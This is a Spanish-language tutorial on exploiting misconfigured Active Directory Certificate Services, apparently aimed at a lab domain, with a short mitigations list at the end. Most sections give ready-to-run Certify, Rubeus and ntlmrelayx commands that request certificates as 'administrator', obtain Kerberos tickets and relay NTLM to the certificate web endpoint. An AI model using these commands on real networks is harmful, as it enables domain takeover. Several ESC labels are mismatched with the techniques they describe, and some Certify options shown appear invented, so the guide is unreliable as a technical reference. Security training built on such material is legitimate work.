Servicios de Certificados de Active Directory (AD CS)

Los Servicios de Certificados de Active Directory (AD CS) son una infraestructura de clave pública (PKI) integrada en Active Directory que permite la emisión y gestión de certificados digitales. Aunque AD CS proporciona funcionalidades de seguridad importantes, también puede ser explotado por atacantes si está mal configurado. A continuación, se detallan las principales vulnerabilidades y técnicas de explotación de AD CS.

1. Plantillas de certificados vulnerables

Las plantillas de certificados mal configuradas son una de las vulnerabilidades más comunes en AD CS.

Ejemplo de explotación:

  1. Enumerar plantillas vulnerables usando Certify:
Certify.exe find /vulnerable
  1. Si se encuentra una plantilla vulnerable (por ejemplo, con el flag ENROLLEE_SUPPLIES_SUBJECT), se puede solicitar un certificado para cualquier usuario:
Certify.exe request /ca:dc01.sevenkingdoms.local\sevenkingdoms-DC01-CA /template:VulnerableTemplate /altname:administrator
  1. Usar el certificado obtenido para solicitar un TGT como el usuario administrator:
Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password:password /ptt

2. Inscripción de certificados sin autenticación (ESC1)

Esta vulnerabilidad permite a usuarios no autenticados inscribirse en certificados.

Ejemplo de explotación:

  1. Identificar CAs que permiten inscripción sin autenticación:
Certify.exe find /enrolleeSuppliesSubject
  1. Solicitar un certificado como un usuario privilegiado:
Certify.exe request /ca:dc01.sevenkingdoms.local\sevenkingdoms-DC01-CA /template:User /altname:administrator

3. Plantillas con permisos de inscripción para "Todos" (ESC2)

Estas plantillas permiten a cualquier usuario inscribirse y potencialmente elevar privilegios.

Ejemplo de explotación:

  1. Encontrar plantillas vulnerables:
Certify.exe find /vulnerable
  1. Solicitar un certificado usando la plantilla vulnerable:
Certify.exe request /ca:dc01.sevenkingdoms.local\sevenkingdoms-DC01-CA /template:VulnerableTemplate

4. Inscripción con aprobación de gestor deshabilitada (ESC3)

Permite a los usuarios inscribirse en certificados sin aprobación del administrador.

Ejemplo de explotación:

  1. Identificar plantillas vulnerables:
Certify.exe find /vulnerable
  1. Solicitar un certificado de la plantilla vulnerable:
Certify.exe request /ca:dc01.sevenkingdoms.local\sevenkingdoms-DC01-CA /template:VulnerableTemplate

5. Acceso a certificados antiguos (ESC4)

Los atacantes pueden acceder a certificados antiguos si tienen permisos de lectura en el contenedor de certificados.

Ejemplo de explotación:

  1. Enumerar certificados antiguos:
Certify.exe find /oldcerts
  1. Recuperar un certificado antiguo:
Certify.exe download /ca:dc01.sevenkingdoms.local\sevenkingdoms-DC01-CA /id:16

6. Vulnerabilidades en la Autoridad de Registro Web (ESC5)

La Autoridad de Registro Web puede ser vulnerable a ataques NTLM relay.

Ejemplo de explotación:

  1. Configurar un servidor NTLM relay:
ntlmrelayx.py -t http://dc01.sevenkingdoms.local/certsrv/certfnsh.asp -smb2support --adcs
  1. Forzar la autenticación del usuario objetivo al servidor NTLM relay.

  2. El servidor NTLM relay solicitará un certificado en nombre del usuario autenticado.

7. EDITF_ATTRIBUTESUBJECTALTNAME2 habilitado (ESC6)

Esta configuración permite a los usuarios especificar nombres alternativos del sujeto (SAN) en las solicitudes de certificados.

Ejemplo de explotación:

  1. Verificar si la CA tiene EDITF_ATTRIBUTESUBJECTALTNAME2 habilitado:
Certify.exe find /vulnerable
  1. Si está habilitado, solicitar un certificado con un SAN personalizado:
Certify.exe request /ca:dc01.sevenkingdoms.local\sevenkingdoms-DC01-CA /template:User /altname:administrator

Mitigaciones

Para proteger AD CS contra estas vulnerabilidades, los administradores deben:

  1. Revisar y corregir las configuraciones de plantillas de certificados.
  2. Implementar la aprobación de gestores para plantillas sensibles.
  3. Limitar los permisos de inscripción solo a los usuarios necesarios.
  4. Deshabilitar EDITF_ATTRIBUTESUBJECTALTNAME2 en las CAs.
  5. Implementar la autenticación fuerte para la inscripción de certificados.
  6. Monitorear regularmente la actividad de inscripción de certificados.
  7. Utilizar herramientas como PingCastle o BloodHound para identificar configuraciones vulnerables.

En conclusión, AD CS es un componente crítico de la infraestructura de Active Directory que, si no se configura y mantiene adecuadamente, puede proporcionar a los atacantes múltiples vías para escalar privilegios y comprometer el dominio. Es esencial que los administradores comprendan estas vulnerabilidades y apliquen las mitigaciones apropiadas para proteger su entorno.